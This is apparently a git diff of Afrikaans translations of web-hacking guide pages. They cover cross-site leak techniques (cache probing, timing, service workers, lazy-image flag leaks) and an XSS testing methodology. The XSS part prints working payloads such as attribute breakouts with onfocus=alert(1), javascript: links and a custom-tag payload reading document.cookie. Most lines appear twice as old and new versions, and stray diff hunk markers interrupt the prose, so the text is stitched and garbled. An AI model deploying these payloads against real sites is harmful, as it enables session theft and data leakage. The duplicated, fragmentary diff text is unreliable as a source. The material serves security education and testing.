- Wanneer 'n lêer in Chromium-gebaseerde blaaiers afgelaai word, verskyn 'n aflaai-balk onderaan die blaaiervenster.
- Deur veranderinge in die vensterhoogte te monitor, kan aanvallers die verskyning van die aflaai-balk aflei, wat daarop dui dat 'n aflaai inisieer is.
2. **Aflaai Navigasie met Iframes**:
- Wanneer 'n bladsy 'n lêeraflaai inisieer met die `Content-Disposition: attachment` kopstuk, veroorsaak dit nie 'n navigasie gebeurtenis nie.
- Wanneer 'n bladsy 'n lêeraflaai inisieer met die `Content-Disposition: attachment` kop, veroorsaak dit nie 'n navigasie gebeurtenis nie.
- Deur die inhoud in 'n iframe te laai en vir navigasie gebeurtenisse te monitor, is dit moontlik om te kontroleer of die inhoudsdisposisie 'n lêeraflaai veroorsaak (geen navigasie) of nie.
3. **Aflaai Navigasie sonder Iframes**:
- Soos die iframe tegniek, behels hierdie metode die gebruik van `window.open` in plaas van 'n iframe.
- Monitering van navigasie gebeurtenisse in die nuutgeopende venster kan onthul of 'n lêeraflaai inisieer is (geen navigasie) of as die inhoud inline vertoon word (navigasie vind plaas).
- Deur navigasie gebeurtenisse in die nuutgeopende venster te monitor, kan onthul word of 'n lêeraflaai inisieer is (geen navigasie) of of die inhoud inline vertoon word (navigasie vind plaas).
In scenario's waar slegs ingelogde gebruikers sulke aflaaie kan inisieer, kan hierdie tegnieke gebruik word om indirek die gebruiker se autentikasietoestand af te lei op grond van die blaaiers se reaksie op die aflaai versoek.
In scenario's waar slegs ingelogde gebruikers sulke aflaaie kan inisieer, kan hierdie tegnieke gebruik word om indirek die gebruiker se verifikasietoestand af te lei op grond van die blaaiers se reaksie op die aflaai versoek.
### Gedeeltelike HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
- **Insluitingsmetodes**: Pop-ups
- **Waarneembare Verskil**: Tyd
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
- **Opsomming:** 'n Aanvaller kan lêeraflaaie onderskei deur iframes te benut; voortgesette toegang tot die iframe dui op 'n suksesvolle lêeraflaai.
- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (van [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Timing
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
- **Summary:** 'n Aanvaller kan lêeraflaaie onderskei deur iframes te benut; voortgesette toegang tot die iframe dui op 'n suksesvolle lêeraflaai.
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (from [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
> [!WARNING]
> Dit is waarom hierdie tegniek interessant is: Chrome het nou **cache partitionering**, en die cache sleutel van die nuutgeopende bladsy is: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, maar as ek 'n ngrok bladsy open en fetch daarin gebruik, sal die cache sleutel wees: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, die **cache sleutel is anders**, so die cache kan nie gedeel word nie. Jy kan meer besonderhede hier vind: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
> (Kommentaar van [**hier**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
> Dit is waarom hierdie tegniek interessant is: Chrome het nou **cache partitioning**, en die cache sleutel van die nuutgeopende bladsy is: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, maar as ek 'n ngrok-bladsy oopmaak en fetch daarin gebruik, sal die cache sleutel wees: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, die **cache sleutel is anders**, so die cache kan nie gedeel word nie. Jy kan meer besonderhede hier vind: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
> (Comment from [**here**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
As 'n webwerf `example.com` 'n hulpbron van `*.example.com/resource` insluit, sal daardie hulpbron die **dieselfde caching sleutel** hê asof die hulpbron direk **deur top-level navigasie aangevra is**. Dit is omdat die caching sleutel bestaan uit top-level _eTLD+1_ en raam _eTLD+1_.
As 'n webwerf `example.com` 'n hulpbron van `*.example.com/resource` insluit, sal daardie hulpbron die **dieselfde caching sleutel** hê asof die hulpbron direk **deur top-level navigasie aangevra is**. Dit is omdat die caching sleutel bestaan uit top-level _eTLD+1_ en frame _eTLD+1_.
Omdat toegang tot die cache vinniger is as om 'n hulpbron te laai, is dit moontlik om te probeer om die ligging van 'n bladsy te verander en dit 20ms (byvoorbeeld) daarna te kanselleer. As die oorsprong na die stop verander is, beteken dit dat die hulpbron in die cache was.\
Of kan net **'n paar fetch na die potensieel gecachede bladsy stuur en die tyd meet wat dit neem**.
Of kan net **'n paar fetch na die potensieel gekapte bladsy stuur en die tyd meet wat dit neem**.
### Handmatige Oorleiding <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
- **Insluitingsmetodes**: Fetch API
- **Waarneembare Verskil**: Oorleidings
- **Meer inligting**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
- **Opsomming:** Dit is moontlik om uit te vind of 'n antwoord op 'n fetch versoek 'n oorleiding is
- **Kode Voorbeeld**:
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Redirects
- **More info**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
- **Summary:** Dit is moontlik om uit te vind of 'n antwoord op 'n fetch versoek 'n omleiding is
- **Code Example**:
![](<../../images/image (769).png>)
### Fetch met AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
### Fetch with AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
- **Insluitingsmetodes**: Fetch API
- **Waarneembare Verskil**: Tyd
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
- **Opsomming:** Dit is moontlik om te probeer om 'n hulpbron te laai en voordat dit gelaai word, word die laai onderbreek. Afhangende van of 'n fout geaktiveer word, was die hulpbron of nie in die cache nie.
- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Timing
- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
- **Summary:** Dit is moontlik om te probeer om 'n hulpbron te laai en voordat dit gelaai word, word die laai onderbreek. Afhangende van of 'n fout geaktiveer word, was die hulpbron of nie in die cache nie.
- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
Gebruik _**fetch**_ en _**setTimeout**_ met 'n **AbortController** om beide te detecteer of die **hulpbron in die cache is** en om 'n spesifieke hulpbron uit die blaaiers se cache te verwyder. Boonop vind die proses plaas sonder om nuwe inhoud te cache.
### Skrip Besoedeling
### Script Pollution
- **Insluitingsmetodes**: HTML Elemente (script)
- **Waarneembare Verskil**: Bladsy Inhoud
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
- **Opsomming:** Dit is moontlik om **ingeboude funksies te oorskry** en hul argumente te lees wat selfs van **cross-origin skrip** (wat nie direk gelees kan word nie), dit kan **waardevolle inligting lek**.
- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
- **Inclusion Methods**: HTML Elements (script)
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
- **Summary:** Dit is moontlik om **ingeboude funksies te oorskry** en hul argumente te lees, selfs van **cross-origin script** (wat nie direk gelees kan word nie), dit kan **waardevolle inligting lek**.
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
### Dienswerkers <a href="#service-workers" id="service-workers"></a>
### Service Workers <a href="#service-workers" id="service-workers"></a>
- **Insluitingsmetodes**: Pop-ups
- **Waarneembare Verskil**: Bladsy Inhoud
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
- **Opsomming:** Meet die uitvoeringstyd van 'n web met behulp van dienswerkers.
- **Kode Voorbeeld**:
- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
- **Summary:** Meet die uitvoeringstyd van 'n web met behulp van dienswerkers.
- **Code Example**:
In die gegewe scenario neem die aanvaller die inisiatief om 'n **dienswerker** binne een van hul domeine, spesifiek "attacker.com", te registreer. Vervolgens open die aanvaller 'n nuwe venster in die teikenwebwerf vanaf die hoofdokument en gee die **dienswerker** opdrag om 'n timer te begin. Terwyl die nuwe venster begin laai, navigeer die aanvaller die verwysing wat in die vorige stap verkry is na 'n bladsy wat deur die **dienswerker** bestuur word.
In die gegewe scenario neem die aanvaller die inisiatief om 'n **dienswerker** binne een van hul domeine, spesifiek "attacker.com", te registreer. Vervolgens open die aanvaller 'n nuwe venster in die teikenwebwerf vanaf die hoofdokument en gee die **dienswerker** opdrag om 'n timer te begin. Soos die nuwe venster begin laai, navigeer die aanvaller die verwysing wat in die vorige stap verkry is na 'n bladsy wat deur die **dienswerker** bestuur word.
By die aankoms van die versoek wat in die vorige stap inisieer is, reageer die **dienswerker** met 'n **204 (No Content)** statuskode, wat die navigasieproses effektief beëindig. Op hierdie punt vang die **dienswerker** 'n meting van die timer wat vroeër in stap twee begin is. Hierdie meting word beïnvloed deur die duur van JavaScript wat vertragings in die navigasieproses veroorsaak.
By die aankoms van die versoek wat in die vorige stap inisieer is, reageer die **dienswerker** met 'n **204 (No Content)** statuskode, wat effektief die navigasieproses beëindig. Op hierdie punt vang die **dienswerker** 'n meting van die timer wat vroeër in stap twee begin is. Hierdie meting word beïnvloed deur die duur van JavaScript wat vertragings in die navigasieproses veroorsaak.
> [!WARNING]
> In 'n uitvoeringstyd is dit moontlik om **netwerkfaktore** te **elimineer** om **meer presiese metings** te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word, te laai voordat dit gelaai word.
### Fetch Tyd
### Fetch Timing
- **Insluitingsmetodes**: Fetch API
- **Waarneembare Verskil**: Tyd (generaal weens Bladsy Inhoud, Statuskode)
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
- **Opsomming:** Gebruik [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) om die tyd te meet wat dit neem om 'n versoek te doen. Ander horlosies kan gebruik word.
- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
- **Summary:** Gebruik [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) om die tyd te meet wat dit neem om 'n versoek uit te voer. Ander horlosies kan gebruik word.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
### Cross-Window Tyd
### Cross-Window Timing
- **Insluitingsmetodes**: Pop-ups
- **Waarneembare Verskil**: Tyd (generaal weens Bladsy Inhoud, Statuskode)
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
- **Opsomming:** Gebruik [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) om die tyd te meet wat dit neem om 'n versoek te doen met `window.open`. Ander horlosies kan gebruik word.
- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
- **Summary:** Gebruik [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) om die tyd te meet wat dit neem om 'n versoek uit te voer met `window.open`. Ander horlosies kan gebruik word.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
## Met HTML of Re-inspuiting
## With HTML or Re Injection
Hier kan jy tegnieke vind om inligting uit 'n cross-origin HTML **te injecteer HTML-inhoud**. Hierdie tegnieke is interessant in gevalle waar jy om enige rede **HTML kan injecteer maar nie JS-kode kan injecteer nie**.
Hier kan jy tegnieke vind om inligting uit 'n cross-origin HTML **te injecteer HTML-inhoud**. Hierdie tegnieke is interessant in gevalle waar jy om enige rede **HTML kan injecteer maar jy kan nie JS-kode injecteer nie**.
### Hangende Merkup
### Dangling Markup
{{#ref}}
../dangling-markup-html-scriptless-injection/
{{#endref}}
### Beeld Luie Laai
### Image Lazy Loading
As jy **inhoud moet uitlek** en jy kan **HTML voor die geheim byvoeg**, moet jy die **gewone hangende merkup tegnieke** nagaan.\
As jy **inhoud moet uitlek** en jy kan **HTML voor die geheim byvoeg**, moet jy die **gewone dangling markup tegnieke** nagaan.\
As jy egter om enige rede **MOET** dit **karakter vir karakter** doen (miskien is die kommunikasie via 'n cache hit), kan jy hierdie truuk gebruik.
**Beelde** in HTML het 'n "**loading**" eienskap waarvan die waarde "**lazy**" kan wees. In daardie geval sal die beeld gelaai word wanneer dit gesien word en nie terwyl die bladsy laai nie:
**Beelde** in HTML het 'n "**loading**" attribuut waarvan die waarde "**lazy**" kan wees. In daardie geval sal die beeld gelaai word wanneer dit gesien word en nie terwyl die bladsy laai nie:
```html
<img src=/something loading=lazy >
```
Daarom kan jy **'n baie junk karakters** (Byvoorbeeld **duisende "W"s**) **byvoeg** om die webblad te **vol te maak voor die geheim of iets soos** `<br><canvas height="1850px"></canvas><br>.`\
As ons **inspuiting byvoorbeeld voor die vlag verskyn**, sal die **beeld** **gelaai** word, maar as dit **na** die **vlag** verskyn, sal die vlag + die junk **voorkom dat dit gelaai word** (jy sal moet speel met hoeveel junk om te plaas). Dit is wat gebeur het in [**hierdie skrywe**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
Daarom, wat jy kan doen, is om **'n baie rommel karakters** (Byvoorbeeld **duisende "W"s**) toe te voeg om **die webblad te vul voor die geheim of iets soos** `<br><canvas height="1850px"></canvas><br>.`\
As ons byvoorbeeld **inspuiting voor die vlag verskyn**, sal die **beeld** **gelaai** word, maar as dit **na** die **vlag** verskyn, sal die vlag + die rommel **verhoed dat dit gelaai word** (jy sal moet speel met hoeveel rommel om te plaas). Dit is wat gebeur het in [**hierdie skrywe**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
'n Ander opsie sou wees om die **scroll-to-text-fragment** te gebruik as dit toegelaat word:
@ -874,7 +874,7 @@ Wat hierdie teks sal doen, is om die bot toegang te gee tot enige teks op die bl
### Beeld Lui Laai Tydgebaseerd
As dit **nie moontlik is om 'n eksterne beeld te laai** wat die aanvaller kan aandui dat die beeld gelaai is nie, kan 'n ander opsie wees om te probeer om **die karakter verskeie kere te raai en dit te meet**. As die beeld gelaai word, sal al die versoeke langer neem as wanneer die beeld nie gelaai word nie. Dit is wat in die [**oplossing van hierdie skrywe**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **samengevat is hier:**
As dit **nie moontlik is om 'n eksterne beeld te laai** wat die aanvaller kan aandui dat die beeld gelaai is nie, kan 'n ander opsie wees om te probeer **die karakter verskeie kere te raai en dit te meet**. As die beeld gelaai word, sal al die versoeke langer neem as wanneer die beeld nie gelaai word nie. Dit is wat in die [**oplossing van hierdie skrywe**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **samengevat is hier:**
{{#ref}}
event-loop-blocking-+-lazy-images.md
@ -888,7 +888,7 @@ event-loop-blocking-+-lazy-images.md
### CSS ReDoS
As `jQuery(location.hash)` gebruik word, is dit moontlik om via tyd te vind of **enige HTML-inhoud bestaan**, dit is omdat as die selektor `main[id='site-main']` nie ooreenstem nie, dit nie die res van die **selektore** hoef te kontroleer nie:
As `jQuery(location.hash)` gebruik word, is dit moontlik om via tyd te ontdek **of sommige HTML-inhoud bestaan**, dit is omdat as die selektor `main[id='site-main']` nie ooreenstem nie, dit nie die res van die **selektore** hoef te kontroleer nie:
```javascript
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"

View File

@ -5,22 +5,22 @@
1. Kontroleer of **enige waarde wat jy beheer** (_parameters_, _pad_, _koppe_?, _koekies_?) **reflekteer** in die HTML of **gebruik** word deur **JS** kode.
2. **Vind die konteks** waar dit reflekteer/gebruik word.
3. As dit **reflekteer**
1. Kontroleer **watter simbole jy kan gebruik** en berei die payload voor, afhangende daarvan:
1. Kontroleer **watter simbole kan jy gebruik** en berei die payload voor, afhangende daarvan:
1. In **rauwe HTML**:
1. Kan jy nuwe HTML-tags skep?
2. Kan jy gebeurtenisse of eienskappe gebruik wat die `javascript:` protokol ondersteun?
3. Kan jy beskermings omseil?
4. Word die HTML-inhoud geïnterpreteer deur enige kliënt-kant JS-enjin (_AngularJS_, _VueJS_, _Mavo_...), jy kan 'n [**Kliëntkant Sjabloon Inspuiting**](../client-side-template-injection-csti.md) misbruik.
5. As jy nie HTML-tags kan skep wat JS-kode uitvoer nie, kan jy 'n [**Hangende Merk - HTML sonder skrip inspuiting**](../dangling-markup-html-scriptless-injection/index.html) misbruik?
4. Word die HTML-inhoud geïnterpreteer deur enige kliëntkant JS-enjin (_AngularJS_, _VueJS_, _Mavo_...), jy kan 'n [**Kliëntkant Sjabloon Inspuiting**](../client-side-template-injection-csti.md) misbruik.
5. As jy nie HTML-tags kan skep wat JS-kode uitvoer nie, kan jy 'n [**Hangende Markup - HTML scriptless inspuiting**](../dangling-markup-html-scriptless-injection/index.html) misbruik?
2. Binne 'n **HTML-tag**:
1. Kan jy na die rauwe HTML-konteks ontsnap?
2. Kan jy nuwe gebeurtenisse/eigenskappe skep om JS-kode uit te voer?
2. Kan jy nuwe gebeurtenisse/eienskappe skep om JS-kode uit te voer?
3. Ondersteun die eienskap waar jy vasgevang is JS-uitvoering?
4. Kan jy beskermings omseil?
3. Binne **JavaScript kode**:
1. Kan jy die `<script>` tag ontsnap?
2. Kan jy die string ontsnap en verskillende JS-kode uitvoer?
3. Is jou invoer in sjabloon literale \`\`?
3. Is jou invoer in sjabloon letterlik \`\`?
4. Kan jy beskermings omseil?
4. Javascript **funksie** wat **uitgevoer** word
1. Jy kan die naam van die funksie aandui om uit te voer. bv.: `?callback=alert(1)`
@ -52,12 +52,12 @@ Hou ook in gedagte [Kliëntkant Sjabloon Inspuiting](../client-side-template-inj
### Binne HTML-tags eienskap
As jou invoer reflekteer binne die waarde van die eienskap van 'n tag, kan jy probeer:
As jou invoer binne die waarde van die eienskap van 'n tag reflekteer, kan jy probeer:
1. Om te **ontsnap van die eienskap en van die tag** (dan sal jy in die rauwe HTML wees) en 'n nuwe HTML-tag te skep om te misbruik: `"><img [...]`
1. Om **te ontsnap van die eienskap en van die tag** (dan sal jy in die rauwe HTML wees) en 'n nuwe HTML-tag te skep om te misbruik: `"><img [...]`
2. As jy **kan ontsnap van die eienskap maar nie van die tag nie** (`>` is geënkodeer of verwyder), afhangende van die tag kan jy **'n gebeurtenis skep** wat JS-kode uitvoer: `" autofocus onfocus=alert(1) x="`
3. As jy **nie kan ontsnap van die eienskap nie** (`"` word geënkodeer of verwyder), dan, afhangende van **watter eienskap** jou waarde reflekteer in **of jy die hele waarde of net 'n deel daarvan beheer**, sal jy in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy in staat wees om dit arbitrêre kode te laat uitvoer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
4. As jou invoer reflekteer binne "**onuitputbare tags**" kan jy die **`accesskey`** truuk probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieurswese nodig hê om dit te misbruik): **`" accesskey="x" onclick="alert(1)" x="`**
4. As jou invoer binne "**onuitputbare tags**" reflekteer, kan jy die **`accesskey`** truuk probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieurswese nodig hê om dit te misbruik): **`" accesskey="x" onclick="alert(1)" x="`**
Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klasnaam beheer:
```html
@ -67,7 +67,7 @@ Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klasnaam beheer:
```
### Binne JavaScript kode
In hierdie geval word jou invoer weerspieël tussen **`<script> [...] </script>`** etikette van 'n HTML-bladsy, binne 'n `.js`-lêer of binne 'n attribuut wat die **`javascript:`** protokol gebruik:
In hierdie geval word jou invoer weerspieël tussen **`<script> [...] </script>`** etikette van 'n HTML-bladsy, binne 'n `.js`-lêer of binne 'n attribuut met die **`javascript:`** protokol:
- As dit weerspieël word tussen **`<script> [...] </script>`** etikette, selfs al is jou invoer binne enige soort aanhalings, kan jy probeer om `</script>` in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-etikette sal ontleed** en dan die inhoud, daarom sal dit nie opgemerk dat jou ingeslote `</script>` etiket binne die HTML-kode is nie.
- As dit weerspieël word **binne 'n JS-string** en die laaste truuk werk nie, sal jy moet **uitgaan** van die string, **uitvoer** jou kode en **herbou** die JS-kode (as daar enige fout is, sal dit nie uitgevoer word nie):
@ -98,7 +98,7 @@ Verskeie webbladsye het eindpunte wat **die naam van die funksie om uit te voer
![](<../../images/image (711).png>)
As dit kwesbaar is, kan jy dalk **'n waarskuwing aktiveer** deur net die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie eindpunte **die inhoud sal valideer** om slegs letters, syfers, punte en onderstreepte te laat toe (**`[\w\._]`**).
As dit kwesbaar is, kan jy dalk **'n waarskuwing aktiveer** deur net die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie eindpunte **die inhoud sal valideer** om slegs letters, syfers, punte en onderstrepings toe te laat (**`[\w\._]`**).
Tog, selfs met daardie beperking is dit steeds moontlik om 'n paar aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om **enige element in die DOM te benader**:
@ -132,7 +132,7 @@ dom-xss.md
### **Universele XSS**
Hierdie soort XSS kan **oorals** gevind word. Hulle hang nie net af van die kliënt se uitbuiting van 'n webtoepassing nie, maar op **enige** **konteks**. Hierdie soort **arbitrêre JavaScript uitvoering** kan selfs misbruik word om **RCE** te verkry, **arbitrêre** **lêers** in kliënte en bedieners te **lees**, en meer.\
Hierdie soort XSS kan **oorals** gevind word. Hulle hang nie net af van die kliënt se uitbuiting van 'n webtoepassing nie, maar op **enige** **konteks**. Hierdie soort **arbitrêre JavaScript uitvoering** kan selfs misbruik word om **RCE** te verkry, **arbitrêre** **lêers** in kliënte en bedieners te lees, en meer.\
Sommige **voorbeelde**:
{{#ref}}
@ -147,11 +147,11 @@ server-side-xss-dynamic-pdf.md
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
## Invoeging binne ruwe HTML
## Invoeging binne rou HTML
Wanneer jou invoer **binne die HTML bladsy** weerspieël word of jy kan ontsnap en HTML kode in hierdie konteks inspuit, is die **eerste** ding wat jy moet doen om te kyk of jy `<` kan misbruik om nuwe etikette te skep: Probeer net om daardie **karakter** te **weerspieël** en kyk of dit **HTML gekodeer** of **verwyder** is of of dit **weerspieël word sonder veranderinge**. **Slegs in die laaste geval sal jy in staat wees om hierdie geval te benut**.\
Wanneer jou invoer **binne die HTML bladsy** weerspieël word of jy kan ontsnap en HTML kode in hierdie konteks inspuit, is die **eerste** ding wat jy moet doen om te kyk of jy `<` kan misbruik om nuwe etikette te skep: Probeer net om daardie **karakter** te **weerspieël** en kyk of dit **HTML gekodeer** of **verwyder** is of as dit **weerspieël word sonder veranderinge**. **Slegs in die laaste geval sal jy in staat wees om hierdie geval te benut**.\
Vir hierdie gevalle hou ook **in gedagte** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Let wel: 'n HTML kommentaar kan gesluit word met\*\*\*\*\*\***\***\*`-->`\*\***\***\*of \*\*\*\*\*\***`--!>`\*\**_
_**Let wel: 'n HTML kommentaar kan gesluit word met\*\***\***\*`-->`\*\***\***\*of \*\***`--!>`\*\*_
In hierdie geval en as daar geen swart/whitelisting gebruik word nie, kan jy payloads soos gebruik:
```html
@ -170,7 +170,7 @@ Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
### Aangepaste tags
As jy nie enige geldige HTML-tag gevind het nie, kan jy probeer om 'n **aangepaste tag** te **skep** en JS-kode met die `onfocus` attribuut uit te voer. In die XSS-versoek moet jy die URL met `#` eindig om die bladsy **op daardie objek te fokus** en die kode te **uitvoer**:
As jy nie enige geldige HTML-tag gevind het nie, kan jy probeer om **'n aangepaste tag te skep** en JS-kode met die `onfocus` attribuut uit te voer. In die XSS-versoek moet jy die URL met `#` eindig om die bladsy **op daardie objek te fokus** en die kode te **uitvoer**:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
@ -235,7 +235,7 @@ onerror=alert`1`
```
Die laaste een gebruik 2 unicode karakters wat uitbrei na 5: telsr\
Meer van hierdie karakters kan gevind word [hier](https://www.unicode.org/charts/normalization/).\
Om te kyk in watter karakters ontbind is, kyk [hier](https://www.compart.com/en/unicode/U+2121).
Om te kyk in watter karakters ontbind word, kyk [hier](https://www.compart.com/en/unicode/U+2121).
### Klik XSS - Clickjacking
@ -243,13 +243,13 @@ As jy om die kwesbaarheid te benut, die **gebruiker moet 'n skakel of 'n vorm**
### Onmoontlik - Hangende Markup
As jy net dink dat **dit onmoontlik is om 'n HTML-tag met 'n attribuut te skep om JS-kode uit te voer**, moet jy kyk na [**Hangende Markup**](../dangling-markup-html-scriptless-injection/index.html) omdat jy die kwesbaarheid **kan benut** **sonder** om **JS**-kode uit te voer.
As jy net dink dat **dit onmoontlik is om 'n HTML-tag met 'n attribuut te skep om JS-kode uit te voer**, moet jy [**Hangende Markup**](../dangling-markup-html-scriptless-injection/index.html) nagaan omdat jy die kwesbaarheid **kan benut** **sonder** om **JS**-kode uit te voer.
## Invoeging binne HTML-tag
### Binne die tag/ontsnapping van attribuutwaarde
